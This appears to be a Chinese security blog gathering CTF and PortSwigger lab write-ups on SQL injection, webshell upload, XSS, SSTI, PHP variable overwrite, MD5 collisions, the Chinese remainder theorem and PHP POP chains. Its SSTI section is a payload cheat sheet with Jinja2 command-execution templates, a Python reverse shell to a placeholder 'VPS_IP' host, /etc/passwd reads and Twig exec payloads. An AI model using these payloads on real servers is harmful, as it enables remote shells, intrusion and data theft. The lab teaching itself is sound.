Cl1ck-t0's blog

burp靶场漏洞实战

2026-03-31T14:06:57.000Z

burp靶场漏洞实战wp

之前一直在做各种题库中的题目，偶然得知burp靶场的实验不错，故作次wp，将持续跟进解题进度

一、sql注入

1.实验：WHERE条款中允许检索隐藏数据的SQL注入漏洞

开头一个个看过去，没什么特别的。仔细看发现在Refine your search:

下面点进去url会变为

1	https://0ade00b5041780e7808e120800720083.web-security-academy.net/filter?category=Tech+gifts

看起来存在SQL注入。

改成

1	https://0ade00b5041780e7808e120800720083.web-security-academy.net/filter?category=1' or 1=1--+

直接过了emmmmmm

2.实验：允许登录绕过的SQL注入漏洞

题目描述：该实验室的登录功能中存在SQL注入漏洞。

要解决实验室问题，可以执行SQL注入攻击，以用户身份登录应用。administrator

直接万能语句1’ or 1=1–+ 秒了

3.实验：SQL注入UNION攻击，确定查询返回的列数

题目看出来是联合注入，

这里已经很熟悉了，直接非常顺利

1’ order by 3–+通过

1’ order by 4–+报错，知道三列

于是写payload，这里有一个问题当时错了：

我最开始写的payload是：

1	https://0a9000cf04defb8b808a26d400ac0024.web-security-academy.net/filter?category=-1' union select 1,2,3--+

页面报错，当时不知道为什么啊，后来查阅资料才知道：因为 UNION 要求类型兼容。如果第一列是整数，你输入 '1' 可能会报错；而 NULL 可以自适应任何类型。所以这里用1,2,3是错误的QAQ

修改payload得到：

1	https://0a9000cf04defb8b808a26d400ac0024.web-security-academy.net/filter?category=-1' union select NULL ,NULL ,NULL--+

通过

二、文件上传漏洞

1.实验室：通过网页壳上传远程代码执行

题目描述：

该实验室包含一个易受攻击的图像上传功能。它不会在用户上传的文件存储到服务器文件系统前进行任何验证。

要解决实验问题，上传一个基础的PHP网页壳，并用它导出文件内容。请通过实验室横幅中的按钮提交此秘密。/home/carlos/secret

您可以使用以下凭证登录您自己的账户：wiener:peter

ps：骗你的，刚开始我甚至不知道这是题目描述（）

打开来就开始找上传点，然后在评论区找到了上传头像的位置，出于以往经验，我直接尝试上传，却得到missing parameter，多次尝试无果后我转变方向，发现没有login（），这才知道wiener:peter原来是题目里的（）气笑了说是

题目提示：如果你能成功上传网页外壳，你实际上就完全控制了服务器。这意味着你可以读写任意文件，窃取敏感数据，甚至利用服务器来针对内部基础设施和网络外其他服务器发动攻击。例如，以下PHP一行代码可用于从服务器文件系统读取任意文件：

上传后，发送对该恶意文件的请求将在响应中返回目标文件的内容。

然后就写一句话木马：

上传成功后，查看上传路径，木马便会自动执行，

1	GET /files/avatars/1.php HTTP/2

得到目标：

Rnh4NwyW1Gl2Ko3yWlVT2eFgyKRH9Hcd

三、跨站脚本

1.实验：将XSS映射到HTML上下文中，且没有编码

最简单的xss，

直接就行。

2.DOM XSS 在 sack 中使用源代码document.write``location.search

理解DOM漏洞原理

源 (Source)：location.search，这是浏览器地址栏中 ? 后面的部分（也就是 GET 参数）。攻击者可以完全控制这部分。
汇 (Sink)：document.write。这个函数会将传入的字符串直接解析为 HTML 写入页面。如果传入的数据包含，而是HTML 事件处理器，例如。

DOM型xss最常见的来源是url,故我们可以尝试一下，在搜索栏里随便输入发现url变成

1	https://0a360098047f989f80da125100e00067.web-security-academy.net/?search=1

payload如下：

1
2
3

">
这里注意闭合前面的<"
">

其实本实验的核心还是在于闭合前面语句上面。

3.DOM XSS in `innerHTML` sink using source `location.search`

比2还简单,直接

即可。

这里简单说说原理，

：这是一个标准的 HTML 图片标签的开始。浏览器看到它，就会准备去加载一张图片。
src=x：这是图片的源地址属性。我们故意给它一个不存在的、无效的地址 x。
onerror=alert(1)：这是一个事件处理器。onerror 是标签的一个内置事件，它的触发条件是：当浏览器加载 src 指定的图片资源失败时。

因此会触发xss

4.实验：jQuery 锚属性汇入 DOM XSS 使用源代码href``location.search

本实验室在提交反馈页面中包含一个基于DOM的跨站脚本漏洞。它使用 jQuery 库的选择函数来寻找锚点元素，并利用的数据更改其属性。$``href``location.search

要解决这个实验，可以设置“回溯”链接提醒。document.cookie



SSTI注入
2026-03-13T01:54:17.000Z
 SSTI注入
简述：SSTI（Server-Side Template Injection）
服务器端模板注入，攻击者能够向服务器端模板引擎注入恶意模板代码，从而在服务器端执行任意代码。
 一、前置基础
首先我们要知道什么是模板。
模板 是一种用于生成动态内容的工具。
它们通常包含两个基本部分：静态内容和动态占位符。
如图：绿色 部分为 静态内容 ，而 橙色 部分则是 动态占位符
模板的主要作用是分离业务逻辑和展示逻辑，使得前端开发者和后端开发者可以并行工作，同时也使得代码更易于维护。
静态部分：由前端开发者设计，包括HTML、CSS、JavaScript等。 动态部分：由后端开发者提供数据，模板引擎将数据填充到模板中，生成最终的页面。
模板引擎的工作流程
1.解析模板：将模板文件解析成抽象语法树（AST）或类似的内部表示。
2.处理指令：执行模板中的指令（如循环、条件判断等）。
3.替换占位符：将占位符替换为实际的值。
4.输出结果：将处理后的模板输出为字符串（如HTML）。
模板注入攻击成功的关键，在于攻击者输入的内容（如3）能够被模板引擎解析并生成抽象语法树（AST），而不仅仅是作为纯文本处理，AST是连接模板语法和底层代码执行的桥梁。攻击者的输入被解析成AST只是第一步，而真正执行这个AST并使其产生效果的，是模板引擎的代码生成器或解释器。
eg.[HNCTF 2022 WEEK2]ez_SSTI
传入
1
http://node5.anna.nssctf.cn:28434/?name={{7*7}}
返回49，说明存在服务器端模版注入。
 二、SSTI注入流程
信息收集：确定目标使用的编程语言和模板引擎（如 Flask 使用 Jinja2）。
测试注入点：URL 参数、表单、评论区、HTTP 请求头等。
提交测试 payload：{{7*7}}或 {% print(1+1) %}，观察是否被解析。
了解模板引擎特性：Jinja2：支持 Python 反射（如 __class__, __globals__）。
Twig：支持过滤器和回调函数。
FreeMarker：支持 Java 类调用（如 ?new()）。
3.确认漏洞：
请求：http://example.com/?name={{7*7}}
响应：49（表明 Jinja2 SSTI 漏洞存在）。
4.构造 payload：
读取配置：{{ config }}
执行命令：{{ ''.__class__.__mro__[1].__subclasses__()[159].__init__.__globals__['os'].popen('whoami').read() }}
5.触发执行
在具体说明之前，我们简要说明一下类之间的继承关系，因为在后面的攻击中用到的就是这种继承关系的不断调用最终达到一个rce的效果。
eg.
1
2
3
4
class A:pass
class B(A):pass
class C(B):pass
class D(C):pass
我们创建了4个类，其中的B类继承了A类，C、D类继承了B类,如果我们在这创建一个C的对象c，那么我们就可以通过__class__魔术方法来找到它的当前类
1
2
3
4
5
6
class A:pass
class B(A):pass
class C(B):pass
class D(C):pass
c=C()
print(c.__class__)
它返回了一个当前的类为C，我们还可以通过__base__这个魔术方法来找到当前类的父类:
1
2
3
4
5
6
class A:pass
class B(A):pass
class C(B):pass
class D(C):pass
c=C()
print(c.__class__.__base__)
找到了C类的父类B类，如果还想要找B类的父类可以接着使用__base__魔术方法:
1
2
3
4
5
6
class A:pass
class B(A):pass
class C(B):pass
class D(C):pass
c=C()
print(c.__class__.__base__.__base__)
当然这样一个一个递进上去的方法有一些麻烦，所以我们可以使用__mro__魔术方法来一步到位看到类的所有父类
1
2
3
4
5
6
class A:pass
class B(A):pass
class C(B):pass
class D(C):pass
c=C()
print(c.__class__.__mro__)
以数组形式在后面加上下标就能拿到指定的类了
1
2
3
4
5
6
class A:pass
class B(A):pass
class C(B):pass
class D(C):pass
c=C()
print(c.__class__.__mro__[3])
我们在拿到object类后就可以通过object类来查找python中的所有object类的子类，当然这其中会有我们能通过该类rce的子类。我们通过__subclasses__来获取当前类的所有子类
1
2
3
4
5
6
class A:pass
class B(A):pass
class C(B):pass
class D(C):pass
c=C()
print(c.__class__.__mro__[3].__subclasses__())
可以发现有很多类，前面我们也说到了python的所有类最终都是继承object类的，因此这里存在大量的类，我们最终的目的是要去进行rce
常见魔术方法：
1
2
3
4
5
6
7
8
__class__   ：返回类型所属的对象
__mro__     ：返回一个包含对象所继承的基类元组，方法在解析时按照元组的顺序解析。
__base__   ：返回该对象所继承的父类
__mro__     ：返回该对象的所有父类

__subclasses__()  获取当前类的所有子类
__init__  类的初始化方法
__globals__  对包含(保存)函数全局变量的字典的引用
 通用 payload ( Python3 )¶
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
# 命令执行_eval
 {% for x in [].__class__.__base__.__subclasses__() %}
    {% if x.__init__ is defined and x.__init__.__globals__ is defined and 'eval' in x.__init__.__globals__['__builtins__']['eval'].__name__ %}
        {{ x.__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()') }}
    {% endif %}
{% endfor %}

# 命令执行_os.py
{% for x in [].__class__.__base__.__subclasses__() %}
    {% if x.__init__ is defined and x.__init__.__globals__ is defined and 'os' in x.__init__.__globals__ %}
        {{ x.__init__.__globals__['os'].popen('ls /').read() }}
    {% endif %}
{% endfor %}

# 命令执行_popen
{% for x in [].__class__.__base__.__subclasses__() %}
    {% if x.__init__ is defined and x.__init__.__globals__ is defined and 'popen' in x.__init__.__globals__ %}
        {{ x.__init__.__globals__['popen']('ls /').read() }}
    {% endif %}
{% endfor %}

# 命令执行__frozen_importlib.BuiltinImporter
{% for x in [].__class__.__base__.__subclasses__() %}
    {% if 'BuiltinImporter' in x.__name__ %}
        {{ x["load_module"]("os")["popen"]("ls /").read() }}
    {% endif %}
{% endfor %}

# 命令执行_linecache
{% for x in [].__class__.__base__.__subclasses__() %}
    {% if x.__init__ is defined and x.__init__.__globals__ is defined and 'linecache' in x.__init__.__globals__ %}
        {{ x.__init__.__globals__['linecache']['os'].popen('ls /').read() }}
    {% endif %}
{% endfor %}


# 命令执行_exec(无回显故反弹shell)
{% for x in [].__class__.__base__.__subclasses__() %}
    {% if x.__init__ is defined and x.__init__.__globals__ is defined and 'exec' in x.__init__.__globals__['__builtins__']['exec'].__name__ %}
        {{ x.__init__.__globals__['__builtins__']['exec']('import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("HOST_IP",Port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")')}}
    {% endif %}
{% endfor %}

{{().__class__.__bases__[0].__subclasses__()[216].__init__.__globals__['__builtins__']['exec']('import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("VPS_IP",端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")')}}

# 命令执行_catch_warnings 
{% for x in [].__class__.__base__.__subclasses__() %}{% if 'war' in x.__name__ %}{{ x.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}{% endif %}{% endfor %}

# catch_warnings 读取文件
{% for x in [].__class__.__base__.__subclasses__() %}{% if x.__name__=='catch_warnings' %}{{ x.__init__.__globals__['__builtins__'].open('/app/flag', 'r').read() }}{% endif %}{% endfor %}

# _frozen_importlib_external.FileLoader 读取文件
 {% for x in [].__class__.__base__.__subclasses__() %} # {% for x in [].__class__.__bases__[0].__subclasses__() %}
    {% if 'FileLoader' in x.__name__ %}
        {{ x["get_data"](0,"/etc/passwd")}}
    {% endif %}
{% endfor %}

# 其他RCE
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}

{{g.pop.__globals__.__builtins__['__import__']('os').popen('ls').read()}}

{{url_for.__globals__.__builtins__['__import__']('os').popen('ls').read()}}

{{lipsum.__globals__.__builtins__['__import__']('os').popen('ls').read()}}

{{get_flashed_messages.__globals__.__builtins__['__import__']('os').popen('ls').read()}}

{{application.__init__.__globals__.__builtins__['__import__']('os').popen('ls').read()}}

{{self.__init__.__globals__.__builtins__['__import__']('os').popen('ls').read()}}

{{cycler.__init__.__globals__.__builtins__['__import__']('os').popen('ls').read()}}

{{joiner.__init__.__globals__.__builtins__['__import__']('os').popen('ls').read()}}

{{namespace.__init__.__globals__.__builtins__['__import__']('os').popen('ls').read()}}

{{url_for.__globals__.current_app.add_url_rule('/1333337',view_func=url_for.__globals__.__builtins__['__import__']('os').popen('ls').read)}}
ps:QAQ好抽象
 二编：
这里再补充一下：常见模板有Smarty、Mako、Twig、Jinja2、Eval、Flask、Tornado、Go、Django、Ruby等。
这幅图的含义是通过这些指令去判断对方用的是什么模板，下面解释一下这幅图的意思:
绿色箭头是执行成功，红色箭头是执行失败。
首先是注入${7*7}没有回显出49的情况，这种时候就是执行失败走红线，再次注入49如果还是没有回显49就代表这里没有模板注入；如果注入回显了49代表执行成功，继续往下走注入49，如果执行成功回显7777777说明是jinja2模板，如果回显是49就说明是Twig模板。
然后回到最初注入${7＊7}成功回显出49的情况，这种时候是执行成功走绿线，再次注入a{comment}b，如果执行成功回显ab，就说明是Smarty模板；如果没有回显出ab，就是执行失败走红线，注入${“z”.join(“ab”)}，如果执行成功回显出zab就说明是Mako模板。实际做题时也可以把指令都拿去测测看谁能对上。平时做题也可以多搜集不同模板对应的注入语句语法。
 常见payload：
1.Twig模版：
1
2
3
4
先找到flag位置
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("find / -name 'f*'")}}
再
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
将Payload分成两部分来理解：
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("cat /flag")}}
第一部分：设置恶意回调
{{_self.env.registerUndefinedFilterCallback("exec")}}
_self:
在Twig模板中，_self是一个特殊的变量，它指向当前的模板上下文（Twig\Template实例）。通过它可以访问到模板内部的一些方法和属性。
_self.env:
env是_self的一个属性，它指的是Twig的环境对象（Twig\Environment实例）。这个对象包含了模板引擎的所有配置、扩展、过滤器、函数等全局信息。控制了它，就相当于控制了模板引擎的核心。
registerUndefinedFilterCallback:
这是Twig\Environment对象的一个方法。
它的作用是：注册一个回调函数。当Twig在模板中遇到一个未被定义的过滤器时，就会自动调用这个注册好的回调函数，而不是直接抛错。
这行代码的执行结果是——告诉Twig引擎：“以后如果你遇到任何不认识的过滤器，别报错，去调用exec函数来处理”。
第二部分：触发命令执行
{{_self.env.getFilter("cat /flag")}}
本文参考资料：SSTI 注入 - Hello CTF


变量覆盖漏洞
2026-03-05T14:42:30.000Z
 变量覆盖漏洞
引入题：[MoeCTF 2022]ezphp
 一、概念
变量覆盖漏洞是指攻击者使用自定义的变量去覆盖源代码中的变量，从而改变代码逻辑，实现攻击目的的一种漏洞。通常来说，单独的变量覆盖漏洞很难有利用价值，但是在与其他应用代码或漏洞结合后，可能会有很大的影响。
 二、 变量覆盖漏洞相关的函数
变量覆盖漏洞大多数由函数使用不当导致，经常引发变量覆盖漏洞的函数有：
extract()
parse_str()
import_request_variables()
 $(可变变量)$ 
 三、详细说明
接下来，我将逐步说明变量覆盖漏洞函数
 1.extract()变量覆盖
emmmmmm，其实窝没见过doge
但是这里网上找资料补充一下：
extract() 函数从数组中将变量导入到当前的符号表。
该函数使用数组键名作为变量名，使用数组键值作为变量值。针对数组中的每个元素，将在当前符号表中创建对应的一个变量。
实例：
1
2
3
4
5
6

$a = "Original";
$my_array = array("a" => "Cat","b" => "Dog", "c" => "Horse");
extract($my_array);
echo "\$a = $a; \$b = $b; \$c = $c";
?>
//运行结果：$a = Cat; $b = Dog; $c = Horse（Cat将Original覆盖了）
参考资料
 2.$$变量覆盖（重点）
由$$定义的变量为可变变量。就是说，一个变量的变量名可以动态的设置和使用。一个可变变量获取了一个普通变量的值作为这个可变变量的变量名。
这个比较常见，我们详细展开一下，以ezphp为例说明一下：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27


highlight_file('source.txt');
echo "

";

$flag = 'xxxxxxxx';
$giveme = 'can can need flag!';
$getout = 'No! flag.Try again. Come on!';
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
  exit($giveme);
}

if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
  exit($getout);
}

foreach ($_POST as $key => $value) {
  $$key = $value;
}

foreach ($_GET as $key => $value) {
  $$key = $$value;
}

echo 'the flag is : ' . $flag;

?>
漏洞产生:
使用foreach来遍历数组中的值，然后再将获取到的数组键名作为变量名，数组中的键值作为变量的值。因此就产生了变量覆盖漏洞。请求?flag=a 会将$flag的值覆盖，$flag=a。
 3.parse_str()导致的变量覆盖
parse_str(string,array)函数把**查询字符串解析到变量中。 **
array参数规定存储变量的数组名称。该参数指示变量存储到一个指定的数组中。
注释：如果未设置 array 参数，由该函数设置的变量将覆盖已存在的同名变量。
查询字符串（URL参数）是指在URL的末尾加上用于向服务器 发送信息的字符串（变量）。将“？”放在URL的末尾，然后再加上“参数＝值”，想加上多个参数的话，使用“&”。以这个形式，可以将想要发送给服务器的数据添加到URL中。
parse_str函数的作用就是解析字符串并注册成变量，在注册变量之前不会验证当前变量是否存在，所以直接覆盖掉已有变量


MD5
2026-03-01T13:01:37.000Z
 MD5碰撞
经典例题：[NISACTF 2022]level-up
 一、定义
md5是一种加密算法，并且不能防止碰撞破解。
md5加密是不可逆的，这就意味着有两串不同的字符串加密出来的内容却是相同的
加密过程简单，碰撞还原字符难
 二、PHP弱比较
弱比较还要区分与字符串类型比较还是与int类型比较
eg.
1
2
var_dump("123a"==123)
var_dump("123a"=="123")
对于上述结果为
1
2
True
False
 1.字符串与int类型比较:
PHP规定当进行字符串与数字的弱比较时，会进行如下步骤：
先看字符串开头是否为数字，如果为数字，则截止到连续数字的最后一个数字，即"123abc456"=>123
如果开头不为数字，则判断为false，即0。
 2.字符串与字符串比较：
因为这个是字符串之间进行比较，想要绕过这个弱比较只能用0e的方式。
在PHP中"0e"判断为科学计数法，0e123就是0的10123次方
不难推出：0e123456789==0e1 // 因为0的任意次方都为0
不过有一个注意点：
1
2
"0e123456"=="0e345" //True
"0e12adfc"=="0e345" //False
eg.
1
2
3
4
5
6
7
8
9
10
11
12
13

include "flag.php";
$md5_1=$_GET['md5_1'];
$md5_2=$_GET['md5_2'];
if(md5($md5_1)==md5($md5_2) & $md5_1 != $md5_2)
{
    echo $flag;
}
else
{
    echo "try harder";
}
?>
这里列举一些字符串不同开头为0e，哈希值为0e开头的例子：
1
2
3
4
5
6
7
8
9
0e215962017 0e291242476940776845150308577824

0e1284838308 0e708279691820928818722257405159

0e1137126905 0e291659922323405260514745084877

0e807097110 0e318093639164485566453180786895

0e730083352 0e870635875304277170259950255928
 三、MD5强比较
以[NISACTF 2022]level-up的level-2为例：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

//here is level 2
error_reporting(0);
include "str.php";
if (isset($_POST['array1']) && isset($_POST['array2'])){
    $a1 = (string)$_POST['array1'];
    $a2 = (string)$_POST['array2'];
    if ($a1 == $a2){
        die("????");
    }
    if (md5($a1) === md5($a2)){
        echo $level3;
    }
    else{
        die("level 2 failed ...");
    }

}
else{
    show_source(__FILE__);
}
?>
题目要求POST传入array1和array2，且array1、array2是md5强碰撞（即array1、array2不等但他们的md5散列值完全相等）两串不一样的字符，加密结果却相同：
1
array1=psycho%0A%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00W%ADZ%AF%3C%8A%13V%B5%96%18m%A5%EA2%81_%FB%D9%24%22%2F%8F%D4D%A27vX%B8%08%D7m%2C%E0%D4LR%D7%FBo%10t%19%02%82%7D%7B%2B%9Bt%05%FFl%AE%8DE%F4%1F%84%3C%AE%01%0F%9B%12%D4%81%A5J%F9H%0FyE%2A%DC%2B%B1%B4%0F%DEcC%40%DA29%8B%C3%00%7F%8B_h%C6%D3%8Bd8%AF%85%7C%14w%06%C2%3AC%BC%0C%1B%FD%BB%98%CE%16%CE%B7%B6%3A%F3%99%B59%F9%FF%C2&array2=psycho%0A%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00W%ADZ%AF%3C%8A%13V%B5%96%18m%A5%EA2%81_%FB%D9%A4%22%2F%8F%D4D%A27vX%B8%08%D7m%2C%E0%D4LR%D7%FBo%10t%19%02%02%7E%7B%2B%9Bt%05%FFl%AE%8DE%F4%1F%04%3C%AE%01%0F%9B%12%D4%81%A5J%F9H%0FyE%2A%DC%2B%B1%B4%0F%DEc%C3%40%DA29%8B%C3%00%7F%8B_h%C6%D3%8Bd8%AF%85%7C%14w%06%C2%3AC%3C%0C%1B%FD%BB%98%CE%16%CE%B7%B6%3A%F3%9959%F9%FF%C2
再给一组:
1
2
3
$a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

$b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
上述题目由于有对数组转换为字符串的强制过滤，所以不能使用数组绕过QAQ
数组绕过eg
1
2
3
4
5
6
7
8
9
10
11
12
13

include "flag.php";
$md5_1=$_GET['md5_1'];
$md5_2=$_GET['md5_2'];
if(md5($md5_1)===md5($md5_2) & $md5_1 != $md5_2)
{
    echo $flag;
}
else
{
    echo "try harder";
}
?>
1
md5_1[]=1&md5_2[]=2
原理：PHP对无法md5加密的东西不加密，结果为NULL，虽然会报错，但是null=null，逻辑关系为True。


CRT
2026-02-24T01:51:30.000Z
 CRT(中国剩余定理)
 一、引入
有物不知其数，三三数之剩二，五五数之剩三，七七数之剩二．问物几何？
即求满足以下条件的整数：除以 3 余 2，除以 5 余 3，除以 7 余 2．
三人同行七十希，五树梅花廿一支，七子团圆正半月，除百零五便得知．
2 ×70 +3 ×21 +2 ×15 =233 =2 ×105 +23，故答案为 23．
为何呢：
 $70≡1(mod3)70≡1(mod3)，21≡1(mod5)21≡1(mod5),15≡1(mod7)15≡1(mod7),105=3×5×7（模数的乘积）$  二、定义
中国剩余定理 (Chinese Remainder Theorem, CRT) 可求解如下形式的一元线性同余方程组（其中 𝑛1,𝑛2,⋯,𝑛𝑘 两两互质）：
 $\begin{cases}x \equiv a_1 \pmod{n_1} \\x \equiv a_2 \pmod{n_2} \\\quad \vdots \\x \equiv a_k \pmod{n_k}\end{cases}$  三、过程
 $\begin{aligned}&\text{计算所有模数的积：} \\&n = \prod_{i=1}^k n_i = n_1 \times n_2 \times \cdots \times n_k \\\\&\text{对于第 } i \text{ 个方程：} \\&m_i = \frac{n}{n_i} \\\\&\text{计算 } m_i \text{ 在模 } n_i \text{ 意义下的逆元 } m_i^{-1}：\\&m_i \cdot m_i^{-1} \equiv 1 \pmod{n_i} \\\\&\text{计算 } c_i = m_i m_i^{-1} \text{（不要对 } n_i \text{ 取模）：} \\&c_i = m_i \cdot m_i^{-1} \\\\&\text{方程组在模 } n \text{ 意义下的唯一解为：} \\&x = \sum_{i=1}^k a_i c_i \pmod{n}\end{aligned}$ 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def CRT(k, a, r):
    n = 1
    ans = 0
    for i in range(1, k + 1):
        n = n * r[i]          # 计算所有模数的乘积 n = r1×r2×...×rk
    
    for i in range(1, k + 1):
        m = n // r[i]          # 除去当前模数的乘积 Mi = n/ri
        b = y = 0
        exgcd(m, r[i], b, y)   # 扩展欧几里得求 Mi 模 ri 的逆元 b
        # 满足: b × m ≡ 1 (mod r[i])
        
        ans = (ans + a[i] * m * b % n) % n   # 累加: ans += ai × Mi × inv(Mi)
    
    return (ans % n + n) % n   # 确保结果为正
 四、在RSA中的简单应用
 $\begin{aligned}&\textbf{步骤 1：计算模 } p \text{ 下的明文分量} \\&m_p = c^{d_p} \pmod{p} \\[2ex]&\textbf{步骤 2：计算模 } q \text{ 下的明文分量} \\&m_q = c^{d_q} \pmod{q} \\[2ex]&\textbf{步骤 3：计算 } q \text{ 模 } p \text{ 的逆元} \\&q \times q_{\text{inv}} \equiv 1 \pmod{p} \\[2ex]&\textbf{步骤 4：计算组合参数 } h \\&h = (q_{\text{inv}} \times (m_p - m_q)) \bmod p \\[2ex]&\textbf{步骤 5：计算最终明文 } m \\&m = m_q + h \times q \pmod{n}\end{aligned}$ 


pop链构造
2026-02-19T08:41:25.000Z
 pop链构造
在PHP反序列化漏洞利用中，POP链（Property Oriented Programming Chain） 是通过魔术方法的自动触发机制，将多个类的方法串联起来，最终执行恶意代码的攻击链。核心思路是：找到入口 → 确定尾巴 → 构建中间桥梁。
1. 明确入口与尾巴
入口：常见为 __wakeup()、__destruct() 等在反序列化或对象销毁时自动调用的方法。
尾巴：包含危险函数的代码位置，如 eval()、system()、file_put_contents()、include() 等。
先锁定尾巴，再反向寻找能触发它的调用链。
2. 利用魔术方法串联 常用魔术方法及触发条件：
__get()：访问不可访问属性时触发。
__set()：给不可访问属性赋值时触发。
__call()：调用不存在方法时触发。
__tostring()：对象被当作字符串使用时触发。
__invoke()：对象被当作函数调用时触发。
总之就是
1.寻找可利用的魔术方法作为起点，也就是说链头特征是能够被输入内容的并且能被用户所控制的；
构建方法调用链，连接起点和终点；
找到危险函数或操作作为终点，也就是说链尾特征是可以读取文件或者能够执行命令的；
此时我们找到了链尾，正式开始构造pop链，从链尾反推到链头。
 eg.[SWPUCTF 2021 新生赛]pop
代码如下：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43


error_reporting(0);
show_source("index.php");

class w44m{

    private $admin = 'aaa';
    protected $passwd = '123456';
    
    public function Getflag(){
        if($this->admin === 'w44m' && $this->passwd ==='08067'){
            include('flag.php');
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo 'nono';
        }
    }

}

class w22m{
    public $w00m;
    public function __destruct(){
        echo $this->w00m;
    }
}

class w33m{
    public $w00m;
    public $w22m;
    public function __toString(){
        $this->w00m->{$this->w22m}();
        return 0;
    }
}

$w00m = $_GET['w00m'];
unserialize($w00m);

?>
我们来进行简单分析：
1.对于w44m类;
如果变量前是protected，则会在变量名前加上\x00*\x00,
若是private，则会在变量名前加上\x00类名\x00,输出时一般需要url编码;
最终目标是调用Getflag()；
2.对于w22m类；
当类销毁时会输出$this->w00m；
3.对于w33m类；
当w33m类的对象被当做字符串使用时，触发__toString()方法；
接着，我们尝试构造一下pop链，
在w44m类中的Getflag作为尾部
w33m类中有$this->w00m->{$this->w22m}();，因此我们需要给w00m一个w44m类，给w22m一个Getflag字符串
而如何调用w33m类中的__toString()方法呢，我们看到w22m类中有echo $this->w00m;，需要给w00m一个w33m类即可
1
w22m::__destruct()->w33m::__toString()->w44m::Getflag()
接着，我们再尝试构造payload：
1、首先复制源码到编辑器中
将不需要的部分注释掉(和赋值无关的都注释掉)
以下是删除注释后的剩余部分：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20


class w44m{

    private $admin = 'aaa';
    protected $passwd = '123456';
    
}

class w22m{
    public $w00m;
}

class w33m{
    public $w00m;
    public $w22m;
    }
}

?>
2、添加pop链和序列化代码
根据前面我们的分析，从pop链的链尾开始赋值
私有和保护属性，采用内部赋值；
对象赋值采用外部赋值：
1
2
3
4
5
6
7
8
9
10
11
12
$a=new w44m();// 创建w44m对象
// 这里$a的属性还没有赋值，保持默认值

$b=new w33m();
$b->w00m=$a;//外部赋值：给public属性$w00m赋值
$b->w22m=Getflag;//外部赋值：给public属性$w22m赋值

$t=new w22m();
$t->w00m=$b;
echo serialize($t);
echo "\n";
echo urlencode(serialize($t));
构造得：
1
O:4:"w22m":1:{s:4:"w00m";O:4:"w33m":2:{s:4:"w00m";O:4:"w44m":2:{s:11:"\00w44m\00admin";s:4:"w44m";s:9:"\00*\00passwd";s:5:"08067";}s:4:"w22m";s:7:"Getflag";}}
URL编码：
1
O%3A4%3A%22w22m%22%3A1%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w33m%22%3A2%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w44m%22%3A2%3A%7Bs%3A11%3A%22%00w44m%00admin%22%3Bs%3A4%3A%22w44m%22%3Bs%3A9%3A%22%00%2A%00passwd%22%3Bs%3A5%3A%2208067%22%3B%7Ds%3A4%3A%22w22m%22%3Bs%3A7%3A%22Getflag%22%3B%7D%7D
然后得到flag。


RCE漏洞原理及利用
2026-02-15T13:13:09.000Z
 RCE漏洞原理及利用
引路题QAQ:NSSCTF-[SWPUCTF 2021 新生赛]babyrce,窝的博客里题解部分也有详解嘿嘿（）
 一、RCE漏洞概述
web的应用开发中常常为了灵活性与简洁性，让应用调用代码执行函数或系统命令执行函数处理，如果对用户输入过滤不严，容易产生远程代码执行漏洞或命令执行漏洞。
RCE漏洞分为两类：
远程命令执行漏洞(Remote Command Execution)和远程代码执行漏洞(Remote Code Execution)
它们的成因分别为：
应用程序需要调用外部操作系统命令来完成特定功能（例如，网络诊断工具中的 ping 或 traceroute，文件处理，系统管理任务）。如果应用程序将用户可控的输入（如 IP 地址、文件名、搜索词等）直接或不安全地嵌入到将要执行的命令字符串中，攻击者就可以注入额外的命令。
